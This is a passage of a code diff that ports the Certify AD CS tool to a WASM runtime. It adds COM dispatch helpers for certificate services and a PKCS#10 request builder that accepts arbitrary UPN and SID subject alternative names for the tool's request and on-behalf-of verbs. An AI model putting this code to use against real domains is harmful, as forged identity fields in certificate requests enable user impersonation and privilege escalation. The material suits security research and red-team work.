while (true)
{
ulong nextCert = 0;
uint enumStatus = WfEnumCertificatesInStore(hStore, pCert, out nextCert);
if (enumStatus != 0 || nextCert == 0) break;
pCert = nextCert;
count++;
// Subject simple display name (max 256 chars).
string subject = GetNameString(pCert, CERT_NAME_SIMPLE_DISPLAY_TYPE, 0);
// Issuer simple display name (CERT_NAME_ISSUER_FLAG).
string issuer = GetNameString(pCert, CERT_NAME_SIMPLE_DISPLAY_TYPE, CERT_NAME_ISSUER_FLAG);
Console.WriteLine(" [{0}] Subject: {1}", count, subject);
Console.WriteLine(" Issuer: {1}", count, issuer);
Console.WriteLine();
}
}
finally
{
WfCloseStore(hStore, 0);
}
Console.WriteLine("[+] Found {0} certificate(s).", count);
return 0;
}
private static string GetNameString(ulong pCert, uint type, uint flags)
{
char[] buf = new char[256];
fixed (char* pBuf = buf)
{
uint n = WfGetNameStringW(pCert, type, flags, IntPtr.Zero,
(IntPtr)pBuf, (uint)buf.Length);
if (n == 0) return "(none)";
// Returned count includes the null terminator.
int len = (int)n - 1;
if (len < 0) len = 0;
return new string(buf, 0, len);
}
}
}
}
+434
View File
@@ -0,0 +1,434 @@
// WfCom.cs — COM vtable dispatch via wf_call_ptr.
//
// Bridges C# code into the existing wasmforge COM infrastructure:
//
// 1. CoCreateInstance is invoked via a normal wf_call wrapper. The
// output ppv slot is a WASM pointer; the host mirrors the COM
// object (and recursively its vtable) into WASM memory and writes
// the WASM mirror address into ppv.
//
// 2. C# reads ifc[0] from the mirror to get the WASM mirror address
// of the vtable. Each vtable[N] entry, in turn, is a HOST funcptr
// (numeric, copied verbatim during recursive mirroring — not a
// mirror address, since funcptrs aren't heap objects).
//
// 3. To invoke a method, C# calls WfCom.Invoke(funcptr, ptrMask,
// ifc_mirror_wasm_addr, ...args). wf_call_ptr registers the funcptr
// with the host (mod_regptr → synthetic proc handle), then calls
// mod_invoke. The host's Step 0 mirror reverse translation
// converts ifc_mirror_wasm_addr → host ifc_addr before calling.
//
// This file is scaffolding — not yet driving any verb. The next-session
// work is wiring manageca / request / renew / download / requestonbehalf
// to the appropriate COM CLSID + method indices using this helper.
using System;
using System.Runtime.InteropServices;
namespace WasmForge.Helpers
{
public static unsafe class WfCom
{
// Standard COM CLSIDs / IIDs used by Certify. GUIDs are 16-byte
// structs that lay out identically on wasm32 and x64 (no
// embedded pointers), so passing &guid directly to ole32 works.
// CLSIDs (CoClasses) — verified from HKLM\SOFTWARE\Classes\<ProgID>\CLSID
// on a Server 2022 AD CS host. Note the CLSID for CCertConfig
// differs from MSDN docs that reference EA4DD5F4-... (older).
public static readonly Guid CLSID_CCertConfig = new Guid("372fce38-4324-11d0-8810-00a0c903b83c");
public static readonly Guid CLSID_CCertRequest = new Guid("98aff3f0-5524-11d0-8812-00a0c903b83c");
public static readonly Guid CLSID_CCertAdmin = new Guid("37eabaf0-7fb6-11d0-8817-00a0c903b83c");
// IIDs (Interface IDs) — verified from HKEY_CLASSES_ROOT\Interface
// by interface name. Earlier guesses had ICertAdminD2 (server-only)
// instead of ICertAdmin2 (client), etc.
public static readonly Guid IID_ICertConfig = new Guid("372fce34-4324-11d0-8810-00a0c903b83c"); // ...FCE34, not ...FCE38
public static readonly Guid IID_ICertConfig2 = new Guid("7a18edde-7e78-4163-8ded-78e2c9cee924");
public static readonly Guid IID_ICertRequest3 = new Guid("afc8f92b-33a2-4861-bf36-2933b7cd67b3");
public static readonly Guid IID_ICertAdmin2 = new Guid("f7c3ac41-b8ce-4fb4-aa58-3d1dc0e36b39");
// CLSCTX_INPROC_SERVER for in-process COM activation.
public const uint CLSCTX_INPROC_SERVER = 0x1;
public const uint CLSCTX_LOCAL_SERVER = 0x4;
// CoInitializeEx flags.
public const uint COINIT_APARTMENTTHREADED = 0x2;
public const uint COINIT_MULTITHREADED = 0x0;
// ole32 P/Invokes — these go through the standard wf_call path,
// so pointer masks for them need to be in semanticOverrides on
// the host side (next-session task).
[DllImport("ole32.dll")]
private static extern int CoInitializeEx(IntPtr pvReserved, uint dwCoInit);
[DllImport("ole32.dll")]
private static extern void CoUninitialize();
// CoInitializeSecurity — required by non-cimv2 WMI namespaces
// (root\SecurityCenter2, root\subscription) which gate access on
// the caller's impersonation level. Without this, ConnectServer
// for those namespaces fails in ways that cross the Go FFI boundary
// unrecoverably (chanrecv2 panic).
[DllImport("ole32.dll")]
private static extern int CoInitializeSecurity(
IntPtr pSecDesc, int cAuthSvc, IntPtr asAuthSvc,
IntPtr pReserved1, uint dwAuthnLevel, uint dwImpLevel,
IntPtr pAuthList, uint dwCapabilities, IntPtr pReserved3);
// RPC authentication / impersonation constants.
private const uint RPC_C_AUTHN_LEVEL_DEFAULT = 0;
private const uint RPC_C_AUTHN_LEVEL_PKT_PRIVACY = 6;
private const uint RPC_C_IMP_LEVEL_IDENTIFY = 2;
private const uint EOAC_DYNAMIC_CLOAKING = 0x40;
private const uint RPC_C_IMP_LEVEL_IMPERSONATE = 3;
private const uint EOAC_NONE = 0;
private static bool _securityInitialized;
// CoSetProxyBlanket sets the authentication/impersonation posture
// on an existing COM proxy. Critical after IWbemLocator.ConnectServer
// against restricted namespaces (root\SecurityCenter2, ROOT\Subscription)
// — without it the proxy fires IUnknown auth callbacks during ExecQuery
// that re-enter WASM via host function pointers and corrupt the Go
// runtime's syscall frame.
[DllImport("ole32.dll")]
private static extern int CoSetProxyBlanket(
IntPtr pProxy,
uint dwAuthnSvc, // RPC_C_AUTHN_*
uint dwAuthzSvc, // RPC_C_AUTHZ_*
IntPtr pServerPrincName,
uint dwAuthnLevel, // RPC_C_AUTHN_LEVEL_*
uint dwImpLevel, // RPC_C_IMP_LEVEL_*
IntPtr pAuthInfo,
uint dwCapabilities); // EOAC_*
// CoCreateInstance(rclsid, pUnkOuter, dwClsContext, riid, ppv).
// Take rclsid and riid as IntPtr (explicit pointer) instead of
// `ref Guid` — the wasm32/x64 calling convention for `ref struct`
// marshalling differs and produced REGDB_E_CLASSNOTREG. Callers
// must pin the Guid and pass its address.
[DllImport("ole32.dll")]
private static extern int CoCreateInstance(
IntPtr rclsid, IntPtr pUnkOuter, uint dwClsContext,
IntPtr riid, out IntPtr ppv);
// Initialize the COM apartment (idempotent — safe to call
// multiple times; subsequent calls return S_FALSE).
public static int Initialize()
{
int rc = CoInitializeEx(IntPtr.Zero, COINIT_APARTMENTTHREADED);
// CoInitializeSecurity must be called exactly once per process,
// BEFORE the first WMI ConnectServer call against a non-cimv2
// namespace. Multiple calls return RPC_E_TOO_LATE — guard with
// _securityInitialized so idempotent. Pass DEFAULT auth and
// IMPERSONATE imp level (sufficient for SecurityCenter2 +
// subscription namespaces; same posture as native Seatbelt).
if (!_securityInitialized)
{
_securityInitialized = true;
try
{
CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE,
IntPtr.Zero, EOAC_DYNAMIC_CLOAKING, IntPtr.Zero);
}
catch { /* RPC_E_TOO_LATE or other — ignore */ }
}
return rc;
}
// SetProxyBlanket configures an IWbemServices proxy for the
// "restricted namespace" posture: RPC_C_AUTHN_LEVEL_CALL +
// RPC_C_IMP_LEVEL_IMPERSONATE, no callbacks. Required after
// IWbemLocator.ConnectServer on root\SecurityCenter2,
// ROOT\Subscription, and other namespaces that fire IUnknown
// auth callbacks under default authn. Returns the HRESULT;
// callers may ignore failure (E_NOTIMPL, RPC_E_TOO_LATE, etc.).
public static int SetProxyBlanket(IntPtr pProxy)
{
if (pProxy == IntPtr.Zero) return -1;
const uint RPC_C_AUTHN_DEFAULT = 0xFFFFFFFF;
const uint RPC_C_AUTHZ_DEFAULT = 0xFFFFFFFF;
const uint RPC_C_AUTHN_LEVEL_CALL = 3;
const uint RPC_C_IMP_LEVEL_IMPERSONATE = 3;
const uint EOAC_NONE = 0;
return CoSetProxyBlanket(pProxy,
RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, IntPtr.Zero,
RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE,
IntPtr.Zero, EOAC_NONE);
}
// Create a COM instance. Returns the WASM mirror address of the
// interface, or 0 on failure. Pins the Guids and passes raw
// IntPtrs to avoid the wasm32/x64 `ref struct` marshalling issue.
public static IntPtr CreateInstance(Guid clsid, Guid iid)
{
IntPtr ppv = IntPtr.Zero;
// Allocate 32 bytes (2 × 16-byte Guids) and copy in.
IntPtr buf = Marshal.AllocHGlobal(32);
try
{
byte[] cBytes = clsid.ToByteArray();
byte[] iBytes = iid.ToByteArray();
Marshal.Copy(cBytes, 0, buf, 16);
Marshal.Copy(iBytes, 0, buf + 16, 16);
int hr = CoCreateInstance(buf, IntPtr.Zero,
CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER,
buf + 16, out ppv);
if (hr != 0)
{
Console.WriteLine("[X] CoCreateInstance failed: hr=0x{0:X}", hr);
return IntPtr.Zero;
}
}
finally
{
Marshal.FreeHGlobal(buf);
}
return ppv;
}
// ReadVtableSlot: read the host funcptr at vtable[index] of the
// COM object pointed to by ifc (a WASM mirror address).
//
// ifc points to the mirrored COM object. *ifc is the WASM mirror
// address of the vtable. *(vtable + index*8) is the host funcptr
// for the method (recursively mirrored as raw bytes; funcptrs
// aren't translated by the mirror chain).
public static ulong ReadVtableSlot(IntPtr ifc, int index)
{
if (ifc == IntPtr.Zero) return 0;
ulong* vtablePtr = (ulong*)ifc;
ulong vtableMirror = *vtablePtr; // WASM mirror addr of the vtable
if (vtableMirror == 0) return 0;
ulong* vtable = (ulong*)(IntPtr)(uint)vtableMirror;
return vtable[index];
}
// Invoke a COM method via wf_call_ptr. funcptr is the host
// address read from the mirrored vtable. ifc is the WASM mirror
// address of the interface (host translates Step 0 → host ifc).
//
// For methods with multiple args, the caller must pass them in
// order after `ifc`. The ptr_mask describes which of those args
// (counting ifc as arg 0) are WASM pointers requiring translation.
//
// This is a thin wrapper around the wf_call_ptr C bridge; it's
// declared in dotnet/bridge/wf_bridge.h.
[DllImport("env", EntryPoint = "wf_call_ptr_fixed8")]
private static extern ulong NativeCallPtr(ulong funcptr, int nargs,
uint ptrMask, uint out8Mask,
ulong a0, ulong a1, ulong a2, ulong a3,
ulong a4, ulong a5, ulong a6, ulong a7);
public static ulong InvokeMethod(ulong funcptr, IntPtr ifc, uint ptrMask,
ulong arg1 = 0, ulong arg2 = 0, ulong arg3 = 0,
ulong arg4 = 0, ulong arg5 = 0, ulong arg6 = 0, ulong arg7 = 0,
int nargs = 1, uint out8Mask = 0)
{
// arg 0 is always `this` (the interface pointer). The caller
// specifies nargs as the TOTAL number of args including this.
return NativeCallPtr(funcptr, nargs, ptrMask, out8Mask,
(ulong)(uint)ifc, arg1, arg2, arg3, arg4, arg5, arg6, arg7);
}
// ─────────────────────────────────────────────────────────────
// Generic host-memory read (mod_hread wrapper).
// ─────────────────────────────────────────────────────────────
[DllImport("env", EntryPoint = "mod_hread")]
private static extern uint mod_hread(ulong hostAddr, uint len, void* outBuf);
/// <summary>Read `nbytes` host bytes (max 4096 per call) at hostAddr.</summary>
public static byte[] ReadHostBytes(ulong hostAddr, uint nbytes)
{
if (hostAddr == 0 || nbytes == 0) return Array.Empty<byte>();
if (nbytes > 4096) nbytes = 4096;
byte[] buf = new byte[nbytes];
fixed (byte* p = buf)
{
uint rc = mod_hread(hostAddr, nbytes, p);
if (rc != 0) return Array.Empty<byte>();
}
return buf;
}
public static uint ReadHostUInt32(ulong hostAddr)
{
byte[] b = ReadHostBytes(hostAddr, 4);
return b.Length == 4 ? BitConverter.ToUInt32(b, 0) : 0;
}
public static ulong ReadHostUInt64(ulong hostAddr)
{
byte[] b = ReadHostBytes(hostAddr, 8);
return b.Length == 8 ? BitConverter.ToUInt64(b, 0) : 0;
}
// ─────────────────────────────────────────────────────────────
// BSTR support.
//
// BSTR layout in host memory:
// [hostBstr - 4 .. hostBstr) uint32 byte-length prefix
// [hostBstr .. hostBstr+len) UTF-16LE chars (NO BOM)
// [hostBstr+len .. +2) trailing NUL (not in length)
// ─────────────────────────────────────────────────────────────
public static string BstrToString(ulong hostBstr)
{
if (hostBstr == 0) return null;
uint byteLen = ReadHostUInt32(hostBstr - 4);
if (byteLen == 0 || byteLen > 4096) return string.Empty;
byte[] data = ReadHostBytes(hostBstr, byteLen);
if (data.Length == 0) return string.Empty;
int charCount = (int)(byteLen / 2);
char[] chars = new char[charCount];
for (int i = 0; i < charCount; i++)
chars[i] = (char)(data[2*i] | (data[2*i + 1] << 8));
return new string(chars);
}
[DllImport("oleaut32.dll")]
private static extern void SysFreeString(ulong bstr);
public static void FreeBstr(ulong hostBstr)
{
if (hostBstr != 0) SysFreeString(hostBstr);
}
// SysAllocString takes IntPtr (not [MarshalAs(LPWStr)] string) because
// NativeAOT-LLVM/wasm-ld generates a 2-arg (i32,i32)→i64 wrapper for
// the marshalled signature, mismatching the C bridge's 1-arg (i32)→i64
// function, which causes wasm-ld to emit `undefined_stub` at the call
// site (per lld WebAssembly behavior for unresolvable signatures).
// Passing a pinned char* avoids the runtime marshaller entirely.
[DllImport("oleaut32.dll")]
private static extern ulong SysAllocString(IntPtr wstrPtr);
public static unsafe ulong StringToBstr(string s)
{
if (s == null) return 0;
fixed (char* p = s)
{
return SysAllocString((IntPtr)p);
}
}
// ─────────────────────────────────────────────────────────────
// VARIANT support (24 bytes — 64-bit Windows COM layout).
//
// [0..2) VARTYPE vt
// [2..8) wReserved1/2/3
// [8..24) union (DECIMAL = 16; primitives in low 8 bytes)
//
// Host COM writes into WASM-allocated 24-byte buffer via the
// wf_call pointer translation. WASM reads back via direct mem.
// ─────────────────────────────────────────────────────────────
public const ushort VT_EMPTY = 0;
public const ushort VT_NULL = 1;
public const ushort VT_I2 = 2;
public const ushort VT_I4 = 3;
public const ushort VT_R4 = 4;
public const ushort VT_R8 = 5;
public const ushort VT_CY = 6;
public const ushort VT_DATE = 7;
public const ushort VT_BSTR = 8;
public const ushort VT_DISPATCH = 9;
public const ushort VT_ERROR = 10;
public const ushort VT_BOOL = 11;
public const ushort VT_VARIANT = 12;
public const ushort VT_UNKNOWN = 13;
public const ushort VT_DECIMAL = 14;
public const ushort VT_I1 = 16;
public const ushort VT_UI1 = 17;
public const ushort VT_UI2 = 18;
public const ushort VT_UI4 = 19;
public const ushort VT_I8 = 20;
public const ushort VT_UI8 = 21;
public const ushort VT_INT = 22;
public const ushort VT_UINT = 23;
public const ushort VT_ARRAY = 0x2000;
public const ushort VT_BYREF = 0x4000;
public const int VARIANT_SIZE = 24;
public static IntPtr AllocVariant()
{
IntPtr p = Marshal.AllocHGlobal(VARIANT_SIZE);
byte* bp = (byte*)p;
for (int i = 0; i < VARIANT_SIZE; i++) bp[i] = 0;
return p;
}
public static void FreeVariant(IntPtr pVar)
{
if (pVar != IntPtr.Zero) Marshal.FreeHGlobal(pVar);
}
[DllImport("oleaut32.dll")]
private static extern int VariantClear(IntPtr pVar);
public static void ClearVariant(IntPtr pVar)
{
if (pVar != IntPtr.Zero) VariantClear(pVar);
}
/// <summary>
/// Unpack a VARIANT into a managed object. BSTRs are dereferenced
/// via mod_hread. Returns null for VT_NULL/VT_EMPTY, "VT(0xHHHH)"
/// for unsupported types (so consumer sees diagnostic info).
/// </summary>
public static object VariantToObject(IntPtr pVar)
{
if (pVar == IntPtr.Zero) return null;
byte* bp = (byte*)pVar;
ushort vt = (ushort)(bp[0] | (bp[1] << 8));
byte* val = bp + 8;
switch (vt)
{
case VT_EMPTY:
case VT_NULL: return null;
case VT_I2: return (short)(val[0] | (val[1] << 8));
case VT_I4:
case VT_INT: return val[0] | (val[1] << 8) | (val[2] << 16) | (val[3] << 24);
case VT_UI2: return (ushort)(val[0] | (val[1] << 8));
case VT_UI4:
case VT_UINT: return (uint)(val[0] | (val[1] << 8) | (val[2] << 16) | (val[3] << 24));
case VT_I8:
{
long l = 0;
for (int i = 0; i < 8; i++) l |= ((long)val[i]) << (i * 8);
return l;
}
case VT_UI8:
{
ulong u = 0;
for (int i = 0; i < 8; i++) u |= ((ulong)val[i]) << (i * 8);
return u;
}
case VT_R4:
{
byte[] b = new byte[4];
for (int i = 0; i < 4; i++) b[i] = val[i];
return BitConverter.ToSingle(b, 0);
}
case VT_R8:
case VT_DATE:
{
byte[] b = new byte[8];
for (int i = 0; i < 8; i++) b[i] = val[i];
return BitConverter.ToDouble(b, 0);
}
case VT_BOOL:
{
short b = (short)(val[0] | (val[1] << 8));
return b != 0;
}
case VT_BSTR:
{
ulong bstrHost = 0;
for (int i = 0; i < 8; i++) bstrHost |= ((ulong)val[i]) << (i * 8);
return BstrToString(bstrHost);
}
case VT_I1: return (sbyte)val[0];
case VT_UI1: return val[0];
default: return $"VT(0x{vt:X4})";
}
}
}
}
+452
View File
@@ -0,0 +1,452 @@
// WfCsr.cs — Pure C# PKCS#10 CSR generation for Certify request/renew/
// requestonbehalf verbs under NativeAOT-WASI.
//
// Sidesteps CERTENROLLLib COM (CX509Enrollment, IX509CertificateRequestPkcs10,
// CX500DistinguishedName, etc.) which would require dozens of additional COM
// dispatches. Instead, builds the PKCS#10 CertificationRequest directly using
// the same BCrypt key generation + BigInteger.ModPow signing path that
// WfForge already validated for self-signed certs.
using System;
using System.Numerics;
using System.Runtime.InteropServices;
using System.Text;
namespace WasmForge.Helpers
{
public static unsafe class WfCsr
{
// PKCS#1 v1.5 SHA-256 DigestInfo prefix.
private static readonly byte[] SHA256_DIGEST_INFO_PREFIX = new byte[]
{
0x30, 0x31, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01,
0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x04, 0x20
};
[StructLayout(LayoutKind.Sequential, Pack = 4)]
private struct BCRYPT_RSAKEY_BLOB
{
public uint Magic;
public uint BitLength;
public uint cbPublicExp;
public uint cbModulus;
public uint cbPrime1;
public uint cbPrime2;
}
[DllImport("bcrypt.dll")]
private static extern uint BCryptOpenAlgorithmProvider(out ulong phAlgorithm,
IntPtr pszAlgId, IntPtr pszImplementation, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern uint BCryptCloseAlgorithmProvider(ulong hAlgorithm, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern uint BCryptGenerateKeyPair(ulong hAlgorithm,
out ulong phKey, uint dwLength, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern uint BCryptFinalizeKeyPair(ulong hKey, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern uint BCryptDestroyKey(ulong hKey);
[DllImport("bcrypt.dll")]
private static extern uint BCryptExportKey(ulong hKey, ulong hExportKey,
IntPtr pszBlobType, byte* pbOutput, uint cbOutput,
out uint pcbResult, uint dwFlags);
[DllImport("bcrypt.dll")]
private static extern uint BCryptHash(ulong hAlgorithm, IntPtr pbSecret, uint cbSecret,
byte* pbInput, uint cbInput, byte* pbOutput, uint cbOutput);
public sealed class Result
{
public string CsrBase64; // base64 of DER PKCS#10
public string PrivateKeyPem; // PKCS#1 RSAPrivateKey PEM
}
// Build a PKCS#10 CertificationRequest for the given template/subject.
// sans is a list of (kind,value) where kind is "dns","upn","email","url".
public static Result Build(string templateName, string subject,
System.Collections.Generic.IList<Tuple<string, string>> sans,
string sidUrl, System.Collections.Generic.IList<string> applicationPolicies,
int keySize)
{
if (string.IsNullOrEmpty(subject)) subject = "CN=User";
if (keySize <= 0) keySize = 2048;
ulong pAlgRsa = 0, pAlgSha256 = 0;
IntPtr pAlgRsaPtr = Marshal.StringToHGlobalUni("RSA");
IntPtr pAlgSha256Ptr = Marshal.StringToHGlobalUni("SHA256");
IntPtr pBlobPub = Marshal.StringToHGlobalUni("RSAPUBLICBLOB");
IntPtr pBlobPriv = Marshal.StringToHGlobalUni("RSAFULLPRIVATEBLOB");
try
{
uint rc = BCryptOpenAlgorithmProvider(out pAlgRsa, pAlgRsaPtr, IntPtr.Zero, 0);
if (rc != 0) throw new Exception($"BCryptOpenAlgorithmProvider(RSA) failed 0x{rc:X}");
rc = BCryptOpenAlgorithmProvider(out pAlgSha256, pAlgSha256Ptr, IntPtr.Zero, 0);
if (rc != 0) throw new Exception($"BCryptOpenAlgorithmProvider(SHA256) failed 0x{rc:X}");
ulong hKey = 0;
rc = BCryptGenerateKeyPair(pAlgRsa, out hKey, (uint)keySize, 0);
if (rc != 0) throw new Exception($"BCryptGenerateKeyPair failed 0x{rc:X}");
rc = BCryptFinalizeKeyPair(hKey, 0);
if (rc != 0) throw new Exception($"BCryptFinalizeKeyPair failed 0x{rc:X}");
try
{
// Export public blob (n, e).
uint pubSize = 0;
rc = BCryptExportKey(hKey, 0UL, pBlobPub, (byte*)0, 0, out pubSize, 0);
if (rc != 0) throw new Exception($"BCryptExportKey(public) sizing failed 0x{rc:X}");
byte[] pubBlob = new byte[pubSize];
fixed (byte* pPub = pubBlob)
rc = BCryptExportKey(hKey, 0UL, pBlobPub, pPub, pubSize, out pubSize, 0);
if (rc != 0) throw new Exception($"BCryptExportKey(public) failed 0x{rc:X}");
var pubHdr = MemoryMarshal.Read<BCRYPT_RSAKEY_BLOB>(pubBlob);
int pubHdrSize = sizeof(BCRYPT_RSAKEY_BLOB);
byte[] e = new byte[pubHdr.cbPublicExp];
byte[] n = new byte[pubHdr.cbModulus];
Buffer.BlockCopy(pubBlob, pubHdrSize, e, 0, (int)pubHdr.cbPublicExp);
Buffer.BlockCopy(pubBlob, pubHdrSize + (int)pubHdr.cbPublicExp, n, 0, (int)pubHdr.cbModulus);
// Export full private blob.
uint privSize = 0;
rc = BCryptExportKey(hKey, 0UL, pBlobPriv, (byte*)0, 0, out privSize, 0);
if (rc != 0) throw new Exception($"BCryptExportKey(private) sizing failed 0x{rc:X}");
byte[] privBlob = new byte[privSize];
fixed (byte* pPriv = privBlob)
rc = BCryptExportKey(hKey, 0UL, pBlobPriv, pPriv, privSize, out privSize, 0);
if (rc != 0) throw new Exception($"BCryptExportKey(private) failed 0x{rc:X}");
// Parse RSAFULLPRIVATEBLOB.
var privHdr = MemoryMarshal.Read<BCRYPT_RSAKEY_BLOB>(privBlob);
int privHdrSize = sizeof(BCRYPT_RSAKEY_BLOB);
int cE = (int)privHdr.cbPublicExp;
int cN = (int)privHdr.cbModulus;
int cP1 = (int)privHdr.cbPrime1;
int offE = privHdrSize;
int offN = offE + cE;
int offP = offN + cN;
int offQ = offP + cP1;
int offDp = offQ + cP1;
int offDq = offDp + cP1;
int offIq = offDq + cP1;
int offD = offIq + cP1;
byte[] privN = new byte[cN]; Buffer.BlockCopy(privBlob, offN, privN, 0, cN);
byte[] privE = new byte[cE]; Buffer.BlockCopy(privBlob, offE, privE, 0, cE);
byte[] privD = new byte[cN]; Buffer.BlockCopy(privBlob, offD, privD, 0, cN);
byte[] primeP = new byte[cP1]; Buffer.BlockCopy(privBlob, offP, primeP, 0, cP1);
byte[] primeQ = new byte[cP1]; Buffer.BlockCopy(privBlob, offQ, primeQ, 0, cP1);
byte[] dp = new byte[cP1]; Buffer.BlockCopy(privBlob, offDp, dp, 0, cP1);
byte[] dq = new byte[cP1]; Buffer.BlockCopy(privBlob, offDq, dq, 0, cP1);
byte[] iq = new byte[cP1]; Buffer.BlockCopy(privBlob, offIq, iq, 0, cP1);
// Build CertificationRequestInfo.
byte[] version = TLV(0x02, new byte[] { 0x00 });
byte[] subjDer = BuildX500NameDer(subject);
byte[] spki = BuildSubjectPublicKeyInfo(n, e);
byte[] attrs = BuildAttributes(templateName, sans, sidUrl, applicationPolicies);
byte[] criInner = Concat(version, subjDer, spki, attrs);
byte[] cri = TLV(0x30, criInner);
// Hash and sign.
byte[] hash = new byte[32];
fixed (byte* pCri = cri)
fixed (byte* pHash = hash)
{
rc = BCryptHash(pAlgSha256, IntPtr.Zero, 0, pCri, (uint)cri.Length, pHash, 32);
}
if (rc != 0) throw new Exception($"BCryptHash failed 0x{rc:X}");
int modLen = cN;
int diLen = SHA256_DIGEST_INFO_PREFIX.Length + 32;
int psLen = modLen - 3 - diLen;
byte[] block = new byte[modLen];
block[0] = 0x00; block[1] = 0x01;
for (int i = 0; i < psLen; i++) block[2 + i] = 0xFF;
block[2 + psLen] = 0x00;
Buffer.BlockCopy(SHA256_DIGEST_INFO_PREFIX, 0, block, 2 + psLen + 1, SHA256_DIGEST_INFO_PREFIX.Length);
Buffer.BlockCopy(hash, 0, block, 2 + psLen + 1 + SHA256_DIGEST_INFO_PREFIX.Length, 32);
BigInteger bn = NewPositive(privN);
BigInteger bd = NewPositive(privD);
BigInteger bm = NewPositive(block);
BigInteger sBig = BigInteger.ModPow(bm, bd, bn);
byte[] sLE = sBig.ToByteArray();
byte[] sig = new byte[modLen];
int copyLen = Math.Min(sLE.Length, modLen);
for (int i = 0; i < copyLen; i++) sig[modLen - 1 - i] = sLE[i];
byte[] sigAlg = BuildSigAlgIdSha256Rsa();
byte[] sigBit = TLV(0x03, Concat(new byte[] { 0x00 }, sig));
byte[] csrDer = TLV(0x30, Concat(cri, sigAlg, sigBit));
return new Result
{
CsrBase64 = Convert.ToBase64String(csrDer, Base64FormattingOptions.InsertLineBreaks),
PrivateKeyPem = BuildPrivateKeyPem(privN, privE, privD, primeP, primeQ, dp, dq, iq),
};
}
finally
{
BCryptDestroyKey(hKey);
}
}
finally
{
if (pAlgRsa != 0) BCryptCloseAlgorithmProvider(pAlgRsa, 0);
if (pAlgSha256 != 0) BCryptCloseAlgorithmProvider(pAlgSha256, 0);
Marshal.FreeHGlobal(pAlgRsaPtr);
Marshal.FreeHGlobal(pAlgSha256Ptr);
Marshal.FreeHGlobal(pBlobPub);
Marshal.FreeHGlobal(pBlobPriv);
}
}
// ── ASN.1 helpers ────────────────────────────────────────────
private static byte[] BuildSubjectPublicKeyInfo(byte[] mod, byte[] exp)
{
byte[] rsaOid = TLV(0x06, new byte[] { 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01 });
byte[] algId = TLV(0x30, Concat(rsaOid, TLV(0x05, new byte[0])));
byte[] modTlv = TLV(0x02, IntegerWithLeadingZero(mod));
byte[] expTlv = TLV(0x02, IntegerWithLeadingZero(exp));
byte[] rsaPub = TLV(0x30, Concat(modTlv, expTlv));
byte[] bitStr = TLV(0x03, Concat(new byte[] { 0x00 }, rsaPub));
return TLV(0x30, Concat(algId, bitStr));
}
private static byte[] BuildSigAlgIdSha256Rsa()
{
byte[] oid = TLV(0x06, new byte[] { 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B });
byte[] nul = TLV(0x05, new byte[0]);
return TLV(0x30, Concat(oid, nul));
}
// Build PKCS#10 attributes [0] IMPLICIT SET with an extensionRequest.
private static byte[] BuildAttributes(string templateName,
System.Collections.Generic.IList<Tuple<string, string>> sans,
string sidUrl,
System.Collections.Generic.IList<string> applicationPolicies)
{
var extList = new System.Collections.Generic.List<byte[]>();
// Certificate Template Name extension (1.3.6.1.4.1.311.20.2) — BMPString.
// BMPString = UTF-16 BE.
if (!string.IsNullOrEmpty(templateName))
{
byte[] tplBmp = Encoding.BigEndianUnicode.GetBytes(templateName);
byte[] extVal = TLV(0x1E, tplBmp);
byte[] extOid = TLV(0x06, new byte[] { 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x14, 0x02 });
byte[] extOctet = TLV(0x04, extVal);
extList.Add(TLV(0x30, Concat(extOid, extOctet)));
}
// SubjectAltName extension.
if ((sans != null && sans.Count > 0) || !string.IsNullOrEmpty(sidUrl))
{
var sanInner = new System.Collections.Generic.List<byte[]>();
if (sans != null)
{
foreach (var s in sans)
{
string kind = s.Item1.ToLowerInvariant();
string val = s.Item2;
switch (kind)
{
case "dns":
sanInner.Add(TLV(0x82, Encoding.ASCII.GetBytes(val)));
break;
case "email":
sanInner.Add(TLV(0x81, Encoding.ASCII.GetBytes(val)));
break;
case "upn":
// [0] otherName { type-id OID 1.3.6.1.4.1.311.20.2.3, value [0] EXPLICIT UTF8String }
byte[] upnOid = TLV(0x06, new byte[] { 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x14, 0x02, 0x03 });
byte[] upnVal = TLV(0xA0, TLV(0x0C, Encoding.UTF8.GetBytes(val)));
sanInner.Add(TLVMulti(0xA0, Concat(upnOid, upnVal)));
break;
case "url":
// [0] otherName { type-id ms 1.3.6.1.4.1.311.25.2 (SID), value }
byte[] sidOid = TLV(0x06, new byte[] { 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x19, 0x02 });
byte[] sidVal = TLV(0xA0, TLV(0x0C, Encoding.UTF8.GetBytes(val)));
sanInner.Add(TLVMulti(0xA0, Concat(sidOid, sidVal)));
break;
}
}
}
byte[] sanSeq = TLV(0x30, Concat(sanInner.ToArray()));
byte[] sanOid = TLV(0x06, new byte[] { 0x55, 0x1D, 0x11 });
byte[] sanOctet = TLV(0x04, sanSeq);
extList.Add(TLV(0x30, Concat(sanOid, sanOctet)));
}
// ApplicationPolicies (1.3.6.1.4.1.311.21.10) — SEQUENCE OF SEQUENCE { OID }.
if (applicationPolicies != null && applicationPolicies.Count > 0)
{
var inner = new System.Collections.Generic.List<byte[]>();
foreach (var p in applicationPolicies)
{
byte[] policyOid = EncodeOid(p);
if (policyOid != null)
inner.Add(TLV(0x30, TLV(0x06, policyOid)));
}
byte[] polSeq = TLV(0x30, Concat(inner.ToArray()));
byte[] polOid = TLV(0x06, new byte[] { 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x15, 0x0A });
byte[] polOctet = TLV(0x04, polSeq);
extList.Add(TLV(0x30, Concat(polOid, polOctet)));
}
